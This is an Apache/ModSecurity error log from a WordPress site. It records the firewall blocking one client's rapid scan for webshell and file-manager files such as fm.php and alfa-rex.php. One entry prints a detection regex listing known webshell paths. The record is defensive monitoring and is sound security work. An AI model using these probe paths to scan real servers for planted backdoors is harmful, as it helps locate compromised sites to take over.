[Thu Dec 11 00:07:25.310376 2025] [:error] [pid 37062:tid 37074] [client 34.75.244.43:54027] [client 34.75.244.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.244.43, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTmavTB0I62HCw8Z5BSNfwAAAAo"]
[Thu Dec 11 00:11:24.033887 2025] [:error] [pid 10520:tid 10541] [client 4.230.47.236:7118] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTmbrENrVZZksrD9M7EJXgAAARM"]
[Thu Dec 11 00:11:24.978608 2025] [:error] [pid 10435:tid 10495] [client 4.230.47.236:45646] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTmbrI5HZq66Rpdj2aJtrwAAAAE"]
[Thu Dec 11 00:11:25.459795 2025] [:error] [pid 10520:tid 10544] [client 4.230.47.236:44359] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTmbrUNrVZZksrD9M7EJYAAAARY"]
[Thu Dec 11 00:11:26.186953 2025] [:error] [pid 10433:tid 10450] [client 4.230.47.236:44406] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTmbrmfQ1q-Ic7huYoXu-wAAAM0"]
[Thu Dec 11 00:11:26.605610 2025] [:error] [pid 10433:tid 10452] [client 4.230.47.236:6911] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aTmbrmfQ1q-Ic7huYoXu_gAAAM8"]
[Thu Dec 11 00:11:26.991928 2025] [:error] [pid 10433:tid 10440] [client 4.230.47.236:45656] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aTmbrmfQ1q-Ic7huYoXvAAAAAMM"]
[Thu Dec 11 00:11:27.360430 2025] [:error] [pid 10435:tid 10494] [client 4.230.47.236:6872] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aTmbr45HZq66Rpdj2aJtswAAAAA"]
[Thu Dec 11 00:11:27.948236 2025] [:error] [pid 10520:tid 10543] [client 4.230.47.236:45660] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aTmbr0NrVZZksrD9M7EJYgAAARU"]
[Thu Dec 11 00:11:28.550270 2025] [:error] [pid 10520:tid 10528] [client 4.230.47.236:7127] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aTmbsENrVZZksrD9M7EJYwAAAQY"]
[Thu Dec 11 00:11:29.043243 2025] [:error] [pid 10435:tid 10501] [client 4.230.47.236:7119] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aTmbsY5HZq66Rpdj2aJttgAAAAc"]
[Thu Dec 11 00:11:29.490227 2025] [:error] [pid 10435:tid 10500] [client 4.230.47.236:7135] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aTmbsY5HZq66Rpdj2aJttwAAAAY"]
[Thu Dec 11 00:11:29.906781 2025] [:error] [pid 10520:tid 10534] [client 4.230.47.236:45664] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aTmbsUNrVZZksrD9M7EJZgAAAQw"]
[Thu Dec 11 00:11:30.277762 2025] [:error] [pid 10520:tid 10532] [client 4.230.47.236:44383] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aTmbskNrVZZksrD9M7EJaAAAAQo"]
[Thu Dec 11 00:11:30.904420 2025] [:error] [pid 10433:tid 10449] [client 4.230.47.236:45653] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aTmbsmfQ1q-Ic7huYoXvAwAAAMw"]
[Thu Dec 11 00:11:32.081969 2025] [:error] [pid 10520:tid 10546] [client 4.230.47.236:45665] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aTmbtENrVZZksrD9M7EJbwAAARg"]
[Thu Dec 11 00:11:32.442225 2025] [:error] [pid 10520:tid 10543] [client 4.230.47.236:7162] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aTmbtENrVZZksrD9M7EJcQAAARU"]
[Thu Dec 11 00:11:32.820862 2025] [:error] [pid 10433:tid 10453] [client 4.230.47.236:7163] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aTmbtGfQ1q-Ic7huYoXvBAAAANA"]
[Thu Dec 11 00:11:33.590805 2025] [:error] [pid 10433:tid 10457] [client 4.230.47.236:41005] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aTmbtWfQ1q-Ic7huYoXvBQAAANQ"]
[Thu Dec 11 00:11:33.970464 2025] [:error] [pid 10520:tid 10537] [client 4.230.47.236:45679] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aTmbtUNrVZZksrD9M7EJeAAAAQ8"]
[Thu Dec 11 00:11:34.445048 2025] [:error] [pid 10435:tid 10500] [client 4.230.47.236:7116] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aTmbto5HZq66Rpdj2aJtwQAAAAY"]
[Thu Dec 11 00:11:35.066900 2025] [:error] [pid 10520:tid 10524] [client 4.230.47.236:45657] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/fm.php"] [unique_id "aTmbt0NrVZZksrD9M7EJegAAAQI"]
[Thu Dec 11 00:11:35.603273 2025] [:error] [pid 10434:tid 10467] [client 4.230.47.236:45673] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/fm.php"] [unique_id "aTmbt2bAnZFInxx5bO-angAAAEA"]
[Thu Dec 11 00:11:35.988225 2025] [:error] [pid 10435:tid 10507] [client 4.230.47.236:7144] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/fm.php"] [unique_id "aTmbt45HZq66Rpdj2aJtzAAAAA0"]
[Thu Dec 11 00:11:36.484958 2025] [:error] [pid 10435:tid 10518] [client 4.230.47.236:7156] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/fm.php"] [unique_id "aTmbuI5HZq66Rpdj2aJtzQAAABg"]
[Thu Dec 11 00:11:36.942904 2025] [:error] [pid 10435:tid 10515] [client 4.230.47.236:44380] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "aTmbuI5HZq66Rpdj2aJtzgAAABU"]
[Thu Dec 11 00:11:37.280254 2025] [:error] [pid 10520:tid 10522] [client 4.230.47.236:45666] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "aTmbuUNrVZZksrD9M7EJfAAAAQA"]
[Thu Dec 11 00:11:37.862990 2025] [:error] [pid 10520:tid 10531] [client 4.230.47.236:7167] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "aTmbuUNrVZZksrD9M7EJfgAAAQk"]
[Thu Dec 11 00:11:38.335994 2025] [:error] [pid 10520:tid 10534] [client 4.230.47.236:44404] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "aTmbukNrVZZksrD9M7EJggAAAQw"]
[Thu Dec 11 00:11:38.787707 2025] [:error] [pid 10434:tid 10475] [client 4.230.47.236:45687] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aTmbumbAnZFInxx5bO-apQAAAEg"]
[Thu Dec 11 00:11:39.369802 2025] [:error] [pid 10520:tid 10536] [client 4.230.47.236:7115] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aTmbu0NrVZZksrD9M7EJhAAAAQ4"]
[Thu Dec 11 00:11:39.720066 2025] [:error] [pid 10434:tid 10487] [client 4.230.47.236:44368] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aTmbu2bAnZFInxx5bO-apwAAAFQ"]
[Thu Dec 11 00:11:40.075240 2025] [:error] [pid 10520:tid 10522] [client 4.230.47.236:7164] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aTmbvENrVZZksrD9M7EJhwAAAQA"]
[Thu Dec 11 00:11:40.538977 2025] [:error] [pid 10433:tid 10454] [client 4.230.47.236:40983] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php"] [unique_id "aTmbvGfQ1q-Ic7huYoXvEwAAANE"]
[Thu Dec 11 00:11:40.952664 2025] [:error] [pid 10434:tid 10473] [client 4.230.47.236:44393] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php"] [unique_id "aTmbvGbAnZFInxx5bO-aqQAAAEY"]
[Thu Dec 11 00:11:41.336360 2025] [:error] [pid 10434:tid 10469] [client 4.230.47.236:41006] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php"] [unique_id "aTmbvWbAnZFInxx5bO-aqgAAAEI"]
[Thu Dec 11 00:11:41.711274 2025] [:error] [pid 10434:tid 10484] [client 4.230.47.236:6897] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php"] [unique_id "aTmbvWbAnZFInxx5bO-aqwAAAFE"]
[Thu Dec 11 00:11:42.303330 2025] [:error] [pid 10434:tid 10467] [client 4.230.47.236:45676] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aTmbvmbAnZFInxx5bO-arQAAAEA"]
[Thu Dec 11 00:11:42.760016 2025] [:error] [pid 10435:tid 10505] [client 4.230.47.236:41011] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aTmbvo5HZq66Rpdj2aJt2gAAAAs"]
[Thu Dec 11 00:11:43.245325 2025] [:error] [pid 10434:tid 10482] [client 4.230.47.236:40976] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aTmbv2bAnZFInxx5bO-arwAAAE8"]
[Thu Dec 11 00:11:43.590713 2025] [:error] [pid 10520:tid 10524] [client 4.230.47.236:7131] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aTmbv0NrVZZksrD9M7EJjAAAAQI"]
[Thu Dec 11 00:11:44.099531 2025] [:error] [pid 10435:tid 10511] [client 4.230.47.236:40985] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aTmbwI5HZq66Rpdj2aJt3wAAABE"]
[Thu Dec 11 00:11:44.514630 2025] [:error] [pid 10520:tid 10543] [client 4.230.47.236:44363] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aTmbwENrVZZksrD9M7EJkQAAARU"]
[Thu Dec 11 00:11:44.880122 2025] [:error] [pid 10520:tid 10528] [client 4.230.47.236:45644] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aTmbwENrVZZksrD9M7EJkgAAAQY"]
[Thu Dec 11 00:11:45.373143 2025] [:error] [pid 10520:tid 10539] [client 4.230.47.236:6866] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aTmbwUNrVZZksrD9M7EJlAAAARE"]
[Thu Dec 11 00:11:45.734339 2025] [:error] [pid 10433:tid 10440] [client 4.230.47.236:40986] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hoot.php"] [unique_id "aTmbwWfQ1q-Ic7huYoXvGAAAAMM"]
[Thu Dec 11 00:11:46.208857 2025] [:error] [pid 10435:tid 10494] [client 4.230.47.236:44397] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hoot.php"] [unique_id "aTmbwo5HZq66Rpdj2aJt5QAAAAA"]
[Thu Dec 11 00:11:46.581074 2025] [:error] [pid 10433:tid 10455] [client 4.230.47.236:7123] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hoot.php"] [unique_id "aTmbwmfQ1q-Ic7huYoXvGQAAANI"]
[Thu Dec 11 00:11:46.934497 2025] [:error] [pid 10520:tid 10536] [client 4.230.47.236:45643] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hoot.php"] [unique_id "aTmbwkNrVZZksrD9M7EJmAAAAQ4"]
[Thu Dec 11 00:11:47.655398 2025] [:error] [pid 10433:tid 10460] [client 4.230.47.236:7153] [client 4.230.47.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aTmbw2fQ1q-Ic7huYoXvGwAAANc"]
[Thu Dec 11 00:11:48.181333 2025] [:error] [pid 10435:tid 10503] [client 4.230.47.236:7106] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "aTmbxI5HZq66Rpdj2aJt6QAAAAk"]
[Thu Dec 11 00:11:48.646203 2025] [:error] [pid 10434:tid 10486] [client 4.230.47.236:6883] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "aTmbxGbAnZFInxx5bO-atgAAAFM"]
[Thu Dec 11 00:11:48.960330 2025] [:error] [pid 10433:tid 10439] [client 4.230.47.236:41003] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "aTmbxGfQ1q-Ic7huYoXvHgAAAMI"]
[Thu Dec 11 00:11:49.291634 2025] [:error] [pid 10434:tid 10489] [client 4.230.47.236:44415] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aTmbxWbAnZFInxx5bO-auAAAAFY"]
[Thu Dec 11 00:11:49.730731 2025] [:error] [pid 10434:tid 10491] [client 4.230.47.236:44377] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aTmbxWbAnZFInxx5bO-augAAAFg"]
[Thu Dec 11 00:11:50.328398 2025] [:error] [pid 10434:tid 10474] [client 4.230.47.236:41014] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aTmbxmbAnZFInxx5bO-avAAAAEc"]
